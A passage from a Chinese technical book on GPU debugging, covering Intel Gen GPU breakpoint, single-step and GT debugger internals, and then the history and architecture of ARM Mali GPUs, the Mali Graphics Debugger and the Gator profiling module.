GPU部署一个支持调试的系统过程。如果因为运行时或者驱动版本等原
因导致这个动作失败,那么调试工具就可能报告如下错误。
igfxdcd: failed to locate the system routine[9].
这个错误是致命的,一旦发生就意味着很多调试功能都不能工作
了。
11.11 断点支持
断点是非常常用而且基本的调试功能,Gen提供了三种形式的断点
支持。本节将分别介绍相关内容。
11.11.1 调试控制位
在Gen的长指令中,有一位专门用于支持调试,名叫调试控制
(DebugCtrl)位。当Gen的EU执行指令时,会先检查这个控制位,一
旦发现其为1就会报告断点异常,跳转到系统过程。这意味着,当算核
函数中的断点命中时,断点所在位置的指令还没有执行。
为了帮助调试器“走出”断点,在Gen的控制寄存器CR0.0中有个断点
抑制(breakpoint suppress)标志,调试器软件可以通过系统过程设置这
个标志,这样恢复执行后,GPU会重新执行有断点的指令,但不会再报
告断点异常。这样做的一个好处是不会影响其他线程命中断点。
在公开的文档中,没有详细描述调试控制位的定义,通过调试跟
踪,很可能第Bit位为DebugCtrl位。调试辅助驱动通常用0x40000041与
目标指令做“或”操作来置位。
11.11.2 操作码匹配断点
GEN还支持所谓的操作码匹配断点。当EU执行程序时,一旦遇到
包含指定操作码的指令,就触发断点异常。
调试工具可以通过MMIO寄存器设置这类断点。在G965 PRM的卷4
中,可以找到两个有关的寄存器,分别叫ISC_L1CA_BP_OPC1(地址
为8294h~8297h)和ISC_L1CA_BP_OPC2(地址为8298h~829Ch)。
二者格式和用法相同,第16~23位用于指定要设置的操作码,第0位用
于启用和禁止。
11.11.3 IP匹配断点
除了按操作码设置断点之外,也可以通过指定代码地址来设置断
点,Gen将其称为IP匹配断点。
与上面的操作码断点类似,调试工具也通过MMIO寄存器来设置IP
匹配断点,仍然可以在G965 PRM的卷4中找到两个寄存器,分别名叫
ISC_L1CA_BP_ADR1(地址为8288h~828Ch)和
ISC_L1CA_BP_ADR2(地址为8290h~8293h)。两个寄存器的用法和
格式相同,第4~31位用来指定地址的高28位。因为Gen指令的地址都是
8字节对齐的,所以没有必要指定低3位。第0位用于临时禁止和启用。
如此看来,可以最多设置两个IP匹配断点。
值得说明的是,上面介绍的三种方式中,后两种是基于前一种的。
当调试工具通过MMIO寄存器设置后两种断点时,GPU内部的取指单元
会得到这个信息,并在获取指令时执行匹配逻辑。匹配成功后,会修改
对应的指令,设置调试控制位,并把修改后的指令写到L1指令缓存中。
因此,设置后两种断点的MMIO寄存器名字中都包含L1CA字样,这里
L1CA是L1 Cache的缩写。
11.11.4 初始断点
在Gen的MMIO寄存器中,有一个名叫TD_CTL的寄存器,其地址
为8000h~8003h。这个寄存器也叫调试控制(Debug Control)寄存器,
包含了多个与调试有关的控制标志,它的第4位用于启用强制线程断点
(Force Thread Breakpoint Enable)。这一位设置后,每个新的线程开始
执行时都会产生一个断点异常,目的是中断到调试器(break into
debugger)。这个断点称为GPU线程的初始断点。TD_CTL中的TD代表
EU的线程分发器(Thread Dispatcher)。简单理解,一旦启用强制线程
断点后,每当线程分发器分发新的线程时就会触发断点异常。
11.12 单步执行
单步跟踪堪称与断点并列的常用调试功能。无论是源代码级别的单
步跟踪还是汇编指令集级别的单步跟踪都离不开处理器的硬件支持。与
断点设施一样,在经典的G965中就有单步跟踪支持。
简单来说,Gen的单步设施主要依靠cr0.1控制寄存器中的“断点异常
状态和控制”(breakpoint exception status and control)位。
通常,单步跟踪都是先通过断点让目标程序中断到调试器。中断之
后,EU会自动设置cr0.1中的断点异常状态和控制位。之后,当用户选
择单步执行时,调试器故意不清除断点异常状态和控制位,并设置断点
抑制位,这样EU在准备执行指令时,看到断点抑制标志,自动将其复
位,但不报告异常。当EU执行这条指令后,如果检查到断点异常状态
位,就会报告新的断点异常。于是便又中断到调试器中,而在这个过程
中,刚好执行完了一条指令。
当用户直接恢复目标执行并且不再单步跟踪时,调试器只要清除掉
cr0.1中的断点异常状态和控制位就可以了。
11.13 GT调试器
与Nvidia的CUDA GDB、AMD的ROCm GDB类似,英特尔也为自
己的GEN GPU开发了一个调试器,并且也是基于 GDB 的。目前发布的
版本把这个调试器叫GT 调试器(GT Debugger),GT是英特尔对Gen
GPU技术的一种模糊称呼,比如GT2、GT3等。其实,既然是基于GDB
的,叫Gen GDB不是很好吗?
11.13.1 架构
与其他跨进程的GPU调试模型类似,GT调试器的架构也是多进程
的。图11-16画出了在Visual Studio环境下调试OpenCL算核函数时的架
构示意图。图中画出了参与调试过程的主要软件,左侧的软件在CPU
端,右侧的软件在GPU端。
图11-16 GT调试器架构示意图
需要说明的是,对于目前发布的GT调试器和OpenCL SDK,如果要
调试在GPU上运行的算核函数,必须使用远程调试方式。其中的一个原
因是为了防止GPU在算核函数中断或者处理其他调试任务时无暇处理图
形显示而导致GUI死锁。
当在Visual Studio中开始调试时,Visual Studio的组件msvsmon会创
建被调试进程。被调试进程初始化OpenCL运行时,运行时模块内的调
试支持会通过显卡驱动部署用于调试的系统过程(SR)。
在启动被调试进程后,安装在Visual Studio中的Code-Builder插件
(OpenCL SDK的一部分)会得到消息,然后根据配置启动
GdbServer(这是可以禁止的,配置项在Visual Studio菜单栏的
Tools→Code-Builder下)。GdbServer启动后会附加到被调试进程中,并
在控制台窗口显示如下信息(删除了空行)。
Executing: C:\Intel\OpenCL\debugger\target\bin\gdbserver.exe :2530 --attac
h 6480
Started gdbserver, listening on localhost:2530
上述信息中的6480是被调试算核函数宿主进程的进程ID。
GdbServer会加载名为Igfxdbg的动态库模块,这个模块内包含了大
多数用于GPU调试的函数,其作用与Nvidia和AMD的GPU调试SDK核心
模块相当,英特尔将其称为调试支持库(Debug Support Library,
DSL)[8]。
Igfxdbg内部会通过IOCTL接口与自己的内核态搭档Igfxdcd建立通
信。Igfxdcd的全称是英特尔图形调试伙伴驱动(Intel(R) Graphics Debug
Companion Driver),是专门用来支持Gen GPU调试的,它在内部会与
英特尔显卡驱动的内核态模块IGDKMD一起管理GPU硬件的调试设施,
并与运行在GPU上的系统过程通信,接收调试事件。
在开源的Gdbserver代码中,intel-gen-low.c中包含了较多的新增逻
辑,包括调用igfxdbg函数,比如用于初始化的igfxdbg_Init函数。
如果遇到Gdbserver无法启动,那么一个常见的原因是igfxdcd驱动
没有加载,可以尝试在具有管理员权限的控制台窗口执行net start
igfxdcd命令启动该驱动。
启动GdbServer后,Code-Builder插件会启动定制过的GDB。GDB启
动后一方面会通过网络套接字(socket)与GdbServer连接,另一方面会
通过GDB/MI接口(GDB与图形前端通信的接口)与Visual Studio进程和
Code-Builder通信。
为了便于检查上述过程可能出现的问题,Code-Builder会在Visual
Studio的输出(Output)窗口输出一些调试信息,如清单11-7所示。
清单11-7 GT调试器在Visual Studio中输出的调试信息
INTEL_GT_DEBUGGER:(148960848)Received a program load complete event for pi
d: 14168
INTEL_GT_DEBUGGER:(148960868)Attempting to start a debug session...
INTEL_GT_DEBUGGER:(148960868)Verifying environment settings on host...
INTEL_GT_DEBUGGER:(148960868)Verifying environment settings on target loca
lhost...
INTEL_GT_DEBUGGER:(148961933)Verifying registry settings on target localho
st...
INTEL_GT_DEBUGGER:(148962721)Starting gdbserver on localhost
INTEL_GT_DEBUGGER:(148964238)Attempt 1/3 failed: One or more errors occurr
ed.
INTEL_GT_DEBUGGER:(148964287)Successfully launched gdbserver on localhost,
pid = 12856
INTEL_GT_DEBUGGER:(148964287)Starting gdb on the host machine
在上面的调试信息中,第1列代表GT调试器的全名,括号当中是时
间戳,而后是具体的消息。第1行和第2行表示Code-Builder接收到Visual
Studio的通知,尝试开始新的调试会话。第3~5行验证主机端和目标端
的环境设置。GT调试器调试时需要禁止GPU的抢先调度
(EnablePreemption = 0),并禁止Windows系统的超时检测和复位机
制,将代表检测级别的TdrLevel设置为0。这两个表项中,后者就在如
下表键下。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers
前者在上面表键的Scheduler子键下。
第6行显示启动GdbServer。第7行表示启动成功。第8行启动GDB。
11.13.2 调试事件
GT调试器也使用了“调试事件驱动”的设计思想。目前定义的调试
事件有7种,见表11-5。
表11-5 GT调试器的调试事件
事 件 名
枚举常量值
说 明
eGfxDbgEventDeviceExited
1
被调试任务退出
eGfxDbgEventThreadStopped
2
算核线程因为遇到断点等原因中断
eGfxDbgEventThreadStarted
3
算核线程开始
eGfxDbgEventKernelLoaded
4
算核加载
eGfxDbgEventThreadExited
5
算核线程退出
eGfxDbgEventKernelUnloaded
6
算核卸载
eGfxDbgEventStepCompleted
7
单步完成
表11-5中的事件定义可以分为4类。算核模块加载和卸载代表空间
的变化,与CPU端调试时的模块加载和卸载事件非常类似。调试器根据
这两个事件维护断点和模块信息。线程的开始和结束代表GPU线程的开
始和结束。任务退出相当于CPU调试中的进程退出。剩下的两个
eGfxDbgEventThreadStopped和eGfxDbgEventStepCompleted都属于异常
(Exception)类事件,底层关联密切,把二者定义为异常事件应该更合
理一些。
调试支持库(DSL)中包含了等待调试事件的函数,名为
igfxdbg_WaitForEvent。也有用于恢复执行的函数,名为
igfxdbg_ContinueExecution。还有一个名叫igfxdbg_StepOneInstruction的
函数,用于以单步方式恢复执行。
11.13.3 符号管理
调试符号是沟通二进制世界和源程序的桥梁,是很多调试功能的基
础。与Nvidia和AMD的做法类似,英特尔的OpenCL编译器也使用
DWARF格式的调试符号。在DSL中,一个名为igfxdbginfo的模块专门
用于处理符号信息,包括从ELF格式的GPU代码模块中提取DWARF信
息,以及解析符号等。
可能是为了某种便利,在使用GT调试器时,它会产生一个名为
default.gtelf的临时文件。比如在VS的模块列表中,有时可以看到如下模
块。
default.gtelf C:\Users\ge\default.gtelf N/A Yes Symbols not lo
aded. 1 Intel GPU Stub
在GDB中,也可以使用file命令加载这个文件,然后使用info func等
命令观察这个模块中的算核函数信息。
11.13.4 主要功能
在GT调试器中,可以访问Gen的所有通用寄存器文件(GRF)和架
构寄存器文件(ARF)。其工作原理是调用DSL中的
igfxdbg_ReadGrfBlock 和igfxdbg_WriteRegisters等接口。
使用GT调试器的反汇编功能,可以观察Gen的EU指令,这是通过
igfxdisasmstub64.dll模块启动单独的反汇编程序igfxdisasm.exe来实现
的。GT调试器也支持在EU汇编级别单步跟踪。
GT调试器支持各种形式的代码类断点,在内部像下面这样调用
DSL函数。
igfxdbg_SetBreakpoint (td.kernel_handle, (unsigned)addr, &breakpoint);
另外,当在Visual Studio中调试OpenCL程序时,使用图11-16这样
的调试模型,可以同时调试CPU端的代码和GPU端的代码,比如可以在
两种类型的代码里设置断点。
11.13.5 不足
GT调试器的第一个不足是不支持对数据设置监视点,在GDB的监
视点函数中,可以看到一条“目前不支持监视点”的注释。
static int
intel_gen_stopped_by_watchpoint (void)
{
/* No support for watchpoints for the time being. */
return 0;
}
另外,GT调试器支持的最低硬件版本是Gen7.5。虽然在igfxdcd驱
动中支持更老一些的版本,但是运行时和SR模块只支持Gen7.5或者更高
版本。
上面所描述的GT调试器来自2017 R2版本的英特尔OpenCL SDK。
发布时间是2017年12月,在作者写作本章的几个月时间中(截至2018年
5月25日),一直没有新的版本。目前版本给作者的印象是不够稳定,
设置在算核函数中的断点时常成为徒劳,不能落实和命中。总体来说,
目前的版本只能算是可以工作了,离稳定可靠还有较大距离,距离简
洁、高效和优雅就更远了。
11.14 本章小结
本章从英特尔GPU的简要历史开始,按照从硬件到软件,再到调试
设施的顺序进行了深入讨论。11.2节比较全面地介绍了Gen架构GPU的
硬件结构,然后介绍了多种编程接口。11.8介绍了EU的指令集,随后介
绍了Gen的内存管理和异常机制。11.11节开始介绍Gen GPU的调试设
施,包括断点支持、单步机制等。最后通过GT调试器介绍了交叉调试
模型和顶层的调试功能。
80386的诸多开创性设计为英特尔在CPU时代的领先打下坚实基
础。某种程度上说,G965在GPU历史上也具有里程碑的意义,包含很
多开创性的设计,但出于种种原因,英特尔在GPU时代没能占据头号位
置。不过,这个芯片巨头已经清醒地认识到GPU的意义,如本章开篇所
言,英特尔正在集结力量开发新的GPU,让我们拭目以待。
参考资料
[1] List of Intel graphics processing units.
[2] Intel’s Next Generation Integrated Graphics Architecture –Intel®
Graphics Media Accelerator X3000 and 3000.
[3] The Compute Architecture of Intel Processor Graphics Gen9.
[4] HARDWARE SPECIFICATION – PRMS.
[5] Intel Processor Graphics (Presented by Intel).
[6] Intel Xeon Processor E3-1585L v5.
[7] GPU Debugging: Challenges and Opportunities.
第12章 Mali GPU及其调试设施
智能手机、数码相机、网络摄像头等移动设备的流行,让可以集成
到SoC中的低功耗GPU得到了充分发展。ARM公司旗下的Mali GPU便是
其中之一。本章前半部分介绍Mali GPU的概况和架构特征,包括2010年
推出至今还在广泛使用的Midgard架构,以及2016年推出的Bifrost架
构。后半部分先介绍Mali GPU的图形调试器,然后介绍在调试和调优中
都使用的Gator系统、Kbase驱动的调试设施,以及Caiman、devlib和离
线编译器等。
12.1 概况
为了帮助读者理解后面的技术内容,本节将简要介绍Mali GPU的发
展经历和概况,包括它的起源、架构演进路线和团队等。
12.1.1 源于挪威
Mali GPU起源于挪威科技大学的一个研究项目,时间是在20世纪90
年代那个诞生了3dfx和Nvidia的时代。2001年,研究Mali的小组从挪威
科技大学独立出来,成立了一家叫Falanx微系统的公司。Falanx最初的
目标是进军PC显卡市场,与ATI、Nvidia等大牌一争高下。然而,在迎
来辉煌之前资金就出了问题。
在资金困难的境况下,Falanx调整了方向,从竞争激烈的PC显卡市
场转到门槛较低的SoC领域,用有限的资源设计低功耗的GPU。他们努
力优化设计,尽可能减少晶体管的数量,占用尽可能小的芯片面积,以
便他们的设计可以更容易地集成到移动设备中。方向调整后,第一代
Mali GPU诞生了,Falanx也有了第一批客户。Zoran公司在它的Approch
5C SoC中使用了Mali-55。这个芯片曾被LG用在Viewty系列手机产品
中。Viewty手机的最大亮点是带有500万像素的数字相机,并具有强大
的录像和多媒体能力,能以每秒120帧的速度录像,然后慢动作回放。
这些功能很可能都有Mali的贡献。
12.1.2 纳入ARM
随着移动设备和SoC市场的不断升温,ARM公司的业绩日益上升。
2006年6月,ARM收购了Falanx。从此,Falanx变为“ARM挪威”(Arm
Norway),Mali GPU被纳入ARM旗下。
12.1.3 三代微架构
纳入ARM旗下后的第一个新设计名叫Mali-200,与后来的Mali-
300、Mali-400、Mali-450和Mali-470都属于Utgard微架构。Utgard微架
构的设计风格还属于固定功能加速流水线,内部包含多个分立的着色
器,不是统一结构的通用着色器。
2010年11月,ARM宣布Mali-T604 GPU[11],很快被三星的猎户座
SoC(Exynos 5250)采用,并于2011年第四季度产品化,用在三星的智
能手机和平板电脑中。T604内部采用了统一的通用着色器设计,支持1
~4个着色器核心。T604与后来推出的T624、T628、T658、T678等GPU
统称T600系列[2]。T600与其后的T700、T800都属于Midgard微架构。自
2010年发布后,包含Midgard微架构GPU的SoC和产品从2011年起陆续推
出,仅仅2013年的发售数量就接近4亿[3]。
在2016年5月的Computex技术大会上,ARM公开了新一代的Mali
GPU微架构,名叫Bifrost。与上一代Midgard相比,Bifrost最大的改变是
把指令集从原来的SIMD格式改为标量指令。第9章介绍过,Nvidia的
GPU从G80开始便使用标量指令集。
图12-1归纳了纳入ARM旗下后的三代Mali GPU微架构,以及每一
代的主要GPU,箭头下的文字概括了每一代微架构的关键特征。这幅图
来自ARM公司官方的技术资料。
图12-1 Mali GPU的三代微架构和主要产品
从图12-1中也可以看出 Mali GPU 的命名规则,三种微架构的 GPU
名称格式分别为Mali-XXX、Mali-TXXX和Mali-GXX,X代表阿拉伯数
字,前两者是三位数字,后者是两位数字。
格友评点
12.1.4 发货最多的图形处理器
根据ARM院士Jem Davies在2016年8月所做演讲中的数据[4],2012
年到2015年,Mali GPU的发货数量分别是1.5亿、4亿、5.5亿和7.5亿。
该报告和ARM官网都把Mali GPU称为世界上发布最多的GPU。
在PC的鼎盛时代,英特尔的GPU曾也这样宣传过,如今时过境迁
了。
这样的第一有意思吗?
{格友再评} 有意思,妙不可言呢。
12.1.5 精悍的团队
在发货量世界第一的GPU后面,是一支很精悍的开发团队。2014年
7月,团队的总人数不到500[1]。其中主要的力量在英国的剑桥和挪威的
特隆赫姆,前者是ARM的大本营,后者是上文提到的ARM挪威,Mali
GPU的诞生地和初生摇篮。在瑞典隆德也有一个精悍的Mali GPU团队,
2016年,大约有百人,担负着广泛的任务,包括硬件设计和验证、GPU
建模、编译器、多媒体开发和软硬件测试等。
12.1.6 封闭的技术文档
从公开的技术文档数量和深入程度来看,在本书介绍的几个GPU厂
商中,ARM算是最保守和封闭的,超过Nvidia。在Mali GPU的开发资源
网页(见Arm Developer网站)中,没有指令集和寄存器这样的深层次
文档,也没有系统介绍内部架构。目前可以看到的信息或浮于表面,或
流于粗略。
导致上述现象的原因与SoC GPU的行业背景有关。在PC GPU领
域,因为丰富的应用和高度的定制化需求,几家厂商已经认识到了开放
的必要性和长久价值,整个行业形成了较好的开放传统。而SoC GPU则
不然,早期产品大多使用在固定功能的环境中,即使后来用在智能手机
和平板电脑中,但是与PC比较,还是相对单一和封闭的。从宏观上
看,SoC GPU的发展路线与PC GPU大体相同,但进度是落后一大截
的。以GPU的四大类应用为例,显示、2D/3D加速、媒体三大功能在
SoC GPU上已经相对成熟,通用计算功能还处于发展初期。简言之,与
PC GPU相比,SoC GPU上的应用环境相对封闭,应用模式相对单一,
因此顶层软件对底层硬件的灵活性需求也较少。这导致SoC GPU的厂商
觉得没有必要公开硬件细节,只要公开API就行了。但从PC GPU的经验
来看,这样做会使上层软件与底层硬件产生隔阂,“你不懂我”“我也不
懂你”,时间长了,隔阂越来越大,造成恶性循环,最后结果可想而
知。
12.1.7 单元化设计
与AMD的多引擎设计思想类似,ARM的GPU团队把所有任务分成
三个大的单元,分别称为GPU、VPU(Vedio Processing Unit,视频编解
码)和DPU(Display Processing Unit,显示处理单元)。本书只介绍3D
图形和通用计算的GPU部分。
12.2 Midgard微架构
Midgard是使用 “统一核心”(Unified Cores)设计思想的第一代Mali
GPU微架构,于2010年公布,至今还没有退役。在三星公司的多款猎户
座(Exynos)SoC和华为的麒麟950 SoC中,都集成了Midgard架构的
GPU。
12.2.1 逻辑结构
Midgard架构支持1~16个通用着色器核心。图12-2是较高层次的
Midgard架构逻辑框图。图中主体部分是16个着色器核心。其中,第1个
着色器核心的外框为实线,表示至少包含一个着色器核心,其他着色器
核心的外框为虚线,表示它们是可选的。着色器核心上面是硬件实现的
任务管理逻辑,用来分发计算任务,也称为作业管理器(job
manager)。
图12-2 Midgard微架构逻辑框图
图12-2的下面两层是两组AMBA总线接口和二级缓存,用于访问内
存和与系统接口。它们上面是内存管理器,三者一起为着色器核心提供
高速的数据访问服务。内存管理器上面是高级图块(tile)处理单元。
图块是图形处理领域的常用术语,一般是指屏幕或者一个显示平面内的
一小块矩形区域。在Mali GPU中,一直有按图块做3D渲染的传统,称
为基于图块渲染(tile-based rendering)[5],这样做的好处是减少访问显
存的次数,降低功耗。
12.2.2 三流水线着色器核心
接下来,我们把目光聚焦到每个着色器核心的内部。
图12-3是Midgard架构的着色器核心框图,图中画了 4 条执行流水
线(pipeline),从右到左分别是:一条纹理流水线、一条加载和存储
流水线、两条算术流水线。一共4条流水线,分为3种类型。算术流水线
简称A流水线(A-pipeline),负责所有算术处理。加载/存储流水线简
称LS流水线(LS-pipeline),负责读写内存,执行插值操作,以及读写
图像数据。纹理流水线简称T流水线(T-pipeline),只负责访问只读的
纹理数据或者对纹理数据做各种处理。
在Midgard的设计中,算术流水线的数量是可以配置的,可以为一
条或者多条。比如在Mali-T720和Mali-T820中只有一条,在Mali-T880中
有三条,其他的Midgard GPU中都有两条[6]。
图12-3 Midgard架构的三流水线着色器核心示意图
因为在一个核心中配备了三类功能的流水线,所以ARM给这个着
色器核心取了个简单的名字,叫三流水线着色器核心(Tri Pipeline
Shader Core)。其实这个名字是容易误解的,因为数字三代表三类,不
是三个,实际上是2 + n结构。这种2 + n结构其实与AMD在Terascale微
架构中使用的4 + 1结构很类似。
在图12-3中,4条流水线上方的矩形代表线程发射设施,下方代表
线程完成设施。在有些介绍中,把前者称为线程池(thread pool),把
后者称为线程老化(thread retire)(单元),图12-4便是这样。该图是
根据ARM官方的技术资料[6]重新绘制的三流水线示意图,包含了流水线
外的接口结构。
图12-4 包含接口信息的三流水线着色器核心
图12-4的中心部分是三条执行流水线,左侧画了对两种不同任务做
预处理的设施,上面一排用于处理图块任务,从左到右依次如下所示。
图块列表读取器(tile list reader),用于读取要处理的图块。
光栅器(rasterizer),负责把图元信息转化为像素信息。
早期深度和模板(stencil)测试器(early ZS tester),目的是及早
排除不需要渲染的任务。
片段线程产生器(fragment thread creator),片段着色(fragment
shade)是OpenGL定义的渲染流水线中的一个阶段,相当于像素渲
染。这个线程产生器用于产生像素级别的渲染任务(线程)。
图12-4左下角的箭头代表顶点渲染任务,把该任务送给“顶点线程
产生器”,后者把要执行的任务分解成较小粒度的操作,放入线程池
中。
图12-4右侧的4个矩形描述的是渲染结果经过“后期深度和模板测试
器”(Late ZS Tester),抛弃被遮挡的无用像素后,经过混合器写到图
块内存(Tile Memory)。
12.2.3 VLIW指令集
如前所述,ARM公司没有公开Mali GPU的指令集,包括Midgard架
构。但是在多个文档中都明确说了Midgard使用的是SIMD(单指令多数
据)风格的指令。在Midgard的每条算术流水线中,包含多个算术单
元,根据公开的性能指标,很可能是5个。
在每个算术单元中(见图12-5),SIMD寄存器的宽度为128位,可
以容纳4个单精度浮点数(FP32)或者32位整数(I32)、8个半精度浮
点(FP16)或者短整数(I16)。每个算术单元内包含一个向量乘法器
(VMUL)、一个向量加法器、一个支持复杂浮点操作和函数的
VLUT、一个标量加法器(SADD)和一个标量乘法器(SMUL)。
图12-5 Midgard架构的算术单元
Midgard的指令属于VLIW(Very Long Instruction Word)风格,属
于VLIW-5,其中,5代表内部算术单元的个数。这意味着每一条指令内
部可以包含5条并行指令,每一条又可以处理多个数据项。以32位浮点
为例,理想情况下,一个ALU可以在一个时钟内同时执行如下17次浮点
操作。
VLUT执行点乘操作,包含4次乘法操作和3次加法操作。
VMUL执行4次乘法操作。
VADD执行4次加法操作。
SADD和SMUL各执行1次标量操作。
这样加起来,便是17次浮点操作。按此计算,对于频率为600MHz
的Mali-T760,每个核心有两个算术流水线,因此就是每秒34次浮点运
算,乘以16个核心是每秒544次浮点运算,再乘以600M便是每秒326400
次浮点运算,这与宣传的326 FP32 GFLOPS基本一致。
根据FreeDesktop组织的逆向研究结果[7],Midgard指令的长度至少
是4个字(word),而且都是4个字的整数倍。
每条指令的最低4位代表当前指令的类型,接下来的4位代表下一条
指令的类型,供指令预取(prefech)设施使用。以下是常用指令类型的
编码、简要描述和指令长度(见括号中文字)。
3——Texture(4个字)
5——Load/Store(4个字)
8——ALU(4个字)
9——ALU(8个字)
A——ALU(12个字)
B——ALU(16个字)
值得说明的是,上面指令长度的字是32位,4字节,这意味着最短
的Midgard指令是16字节,最长的有64字节,真的是名副其实的
VLIW(非常长的指令字)。
12.3 Bifrost微架构
Midgard微架构的SIMD结构和VLIW指令代表它的设计思想是在指
令级别并行操作。这样的设计适合处理图形任务,编译器能容易地找到
可以并行的指令,执行时填满硬件流水线。但是对于通用计算任务来
说,编译器很难找到足够的可以同时并行的操作。为了解决Midgard微
架构的这个基本问题,Bifrost微架构应运而生。
基于Bifrost微架构的第一款GPU是Mali-G71,发布时间是2016年5
月,8个月后华为推出了使用Mali-G71的麒麟960 SoC。2017年5月,
ARM宣布了新一代基于Bifrost微架构的GPU,名为Mali-G72 [8]。
12.3.1 逻辑结构
Bifrost微架构支持1~32个着色器核心,其逻辑结构如图12-6所示。
与Midgard的逻辑结构(见图12-2)相比,二者的关键变化在着色器核
心上。
图12-6下方的4组L2缓存中和4组AMBA 4 ACE中均有三组是虚线外
框,这表示它们是可选的,由芯片厂商根据访问内存的带宽需求来决
定。
图12-6 Bifrost微架构逻辑框图
12.3.2 执行核心
Bifrost的革新主要在着色器核心,有时也称为执行核心上。因为革
新的首要目标是支持通用计算任务,所以后一种叫法更合适一些。
图12-7是执行核心的逻辑框图,其中的三个执行引擎(execution
engine)取代了Midgard架构中的算术流水线。
图12-7 Bifrost的执行核心
值得说明的是,引擎这一术语在AMD GPU中代表的是较大范围的
功能单元,比如显示控制引擎(DCE)、视频编码引擎(VCE)等,而
在Bifrost中,其范围要小得多。计算机领域的引擎一词本来就是模糊词
汇,可大可小,大家不被误导就好。
每个执行核心中的执行引擎数量是可选的,可以为1或者多个,在
G71中是3个。这符合ARM一贯喜欢的弹性原则。
除了执行引擎之外,在执行核心中还有其他几个执行单元,比如,
在Midgard中就有的纹理单元和加载/存储单元。此外,还有用于各种插
值操作的异化单元(Varying Unit),ZS(深度和模板)测试和混合单
元,以及片段渲染结果老化单元(Fragment Retire)等。
12.3.3 标量指令集和Warp
与硬件结构变化配合,Bifrost的指令集也改变了,从VLIW风格的
SIMD指令变为标量指令。下面是一小段Bifrost架构的指令,来自ARM
院士Jem Davies在介绍Bifrost架构和Mali-G71的演讲资料[9],用于解释
Bifrost引入的子句(clause)功能。
LOAD.32 r0, [r10]
FADD.32 r1,r0,r0
FADD.32 r2,r1,r1
FADD.32 r3,r2,r2
FADD.32 r4,r3,r3
FADD.32 r3,r3,r4
FADD.32 r0,r3,r3
STORE.32 r0, [r10]
因为目前ARM公开的工具中都没有反汇编功能,所以上面这段指
令也算是难得一见的Mali GPU指令。第一条指令加载数据从r10寄存器
所指向的内存读到寄存器r0。然后是多条加法指令,其中都有三个操作
数。最后一条指令把r0寄存器的内容写回r10寄存器指向的内存,所有指
令操作的都是32位浮点数,指令的助记符中以.32指示。从这几条指令
可以看出明显的标量特征,每条指令对单一的数据执行操作。
在把指令标量化的同时,Bifrost也引入了Warp概念,以Warp为单
位调度执行单元和算核函数。在图12-6中,执行引擎上方的Warp管理器
就是用来管理和调度线程的。以Warp方式调度标志着Mali GPU从
Midgard时代的指令级并行(Instruction Level Parallel,ILP)过渡到了线
程级并行(Thread Level Parallel,TLP)。时间上,刚好与G80相距10
年。
12.4 Mali图形调试器
Mali图形调试器(Mali Graphics Debugger,MGD)[10]是ARM公司
为Mali GPU开发的一个3D图形调试工具,有独立版本,也包含在DS-5
工具集合中。
12.4.1 双机模式
考虑包含Mali GPU的SoC主要是运行在手机等移动或者嵌入式设备
上,MGD软件的架构是典型的双机模式。目标机上要运行一个信息采
集程序,称为mgddaemon。mgddaemon依赖一个名为libinterceptor.so的
动态库。在使用时,会把这个动态库加载到要调试的进程中,以函数钩
子的形式拦截OpenGL等API调用,采集信息。在主机端执行MGD主程
序后,它会启动Eclipse,呈现图形化的用户界面(见图12-8)。
12.4.2 面向帧调试
MGD的核心功能是围绕“图形渲染”这一3D领域的核心任务而设计
的。一方面,MGD会努力记录渲染过程的每个操作细节,包括3D API
的调用时间、调用参数、调用结果等。另一方面,MGD提供了一系列
针对渲染结果——“帧”的调试功能,比如捕捉帧、回放帧、单步到下一
帧等。
“捕捉帧”功能可以把绘制这一帧的所有过程细节和结果记录下来,
供调试者追查每一个像素的产生过程。其实这一个功能比较早地出现在
微软DirectX SDK的PIX工具中。
在安装DS-5套件后,启动MGD,然后打开一个附带的追踪文件
(Trace File),便可以快速感受MGD的功能了。图12-8便是打开
c:\Program Files\DS-5
v5.28.0\sw\mgd\samples\traces\frame_buffer_object.mgd文件后,切换到第
10帧,然后观察glDrawElements API调用时的情景。
图12-8 MGD的帧捕捉功能
图12-8中的饼图显示的是绘制第10帧时的内存使用情况,其信息源
自Mali驱动程序创建的虚文件接
口/sys/kernel/debug/mali0/ctx/*/mem_profile。
PIX的一个强大功能是反汇编着色器,MGD至今仍不具备。因本书
侧重GPU的通用计算特征,所以对图形调试工具就介绍到这里。
12.5 Gator
在ARM的工具软件中,经常见到Gator这个名字。比如在DS-5中可
以看到这个名字,在MALI GPU的内核态驱动中也可以看到这个名字。
它是做什么的呢?简单回答,它是ARM软件生态圈中的事件追踪系
统,相当于Windows系统的ETW,或者安卓操作系统的ADB,其作用不
可小觑。
与ARM之名类似,Gator之名也在多处使用,并且有几个含义,有
时泛指,有时特指,有时指用户态的后台服务,有时指内核态的驱动程
序,有时又表示提供事件的事件源,本节分别做简单介绍,希望可以帮
读者消除一些疑惑。
12.5.1 Gator内核模块(gator.ko)
下面先介绍Gator家族中的gator.ko。名字中的.ko代表它是Linux操
作系统下的可加载内核模块(Loadable Kernel Module)。
让人欣喜的是,gator.ko的源代码是公开的(参见GitHub官网)。
不过,也不要指望从开源代码里了解太多,因为很多地方都故意用
了障眼法,实情隐去,模糊代之,比如gator.ko的模块描述就是一个很
好的代表。
MODULE_DESCRIPTION("Gator system profiler");
看了这个描述有收获吗?有一点。多吗?不多。描述中一共有三个
单词。第一个单词Gator是以驴释驴。第二个单词system是放之四海而皆
准的模糊词汇。第三个单词profiler是软件调优领域的一个常用术语,
profile有档案之意,指代软件之详情,profiler是获取档案的工具。
其实,gator.ko就是用于访问ARM CPU和Mali GPU内部调试和优化
设施的内核态驱动,它可以动态启用这些设施,把信息存放在内存缓冲
区中,然后再通过用户态的后台服务程序(gatord)发送到主机端。
在gator.ko初始化时,会创建用于存放事件的内存缓冲区。
/* Initialize the buffer with the frame type and core */
for_each_present_cpu(cpu) {
for (i = 0; i < NUM_GATOR_BUFS; i++)
marshal_frame(cpu, i);
per_cpu(last_timestamp, cpu) = 0;
}
此外,还创建一个名为gator_bwake的内核态线程,用于维护内存缓
冲区。
gator_buffer_wake_thread = kthread_run(gator_buffer_wake_func, NULL, "gato
r_bwake");
12.5.2 Gator文件系统(gatorfs)
在gator.ko初始化时,会调用gatorfs_register注册一个虚拟文件系
统,名叫gatorfs。其关键代码如下。
static struct file_system_type gatorfs_type = {
.owner = THIS_MODULE,
.name = "gatorfs",
.mount = gatorfs_mount,
.kill_sb = kill_litter_super,
};
static int __init gatorfs_register(void)
{
return register_filesystem(&gatorfs_type);
}
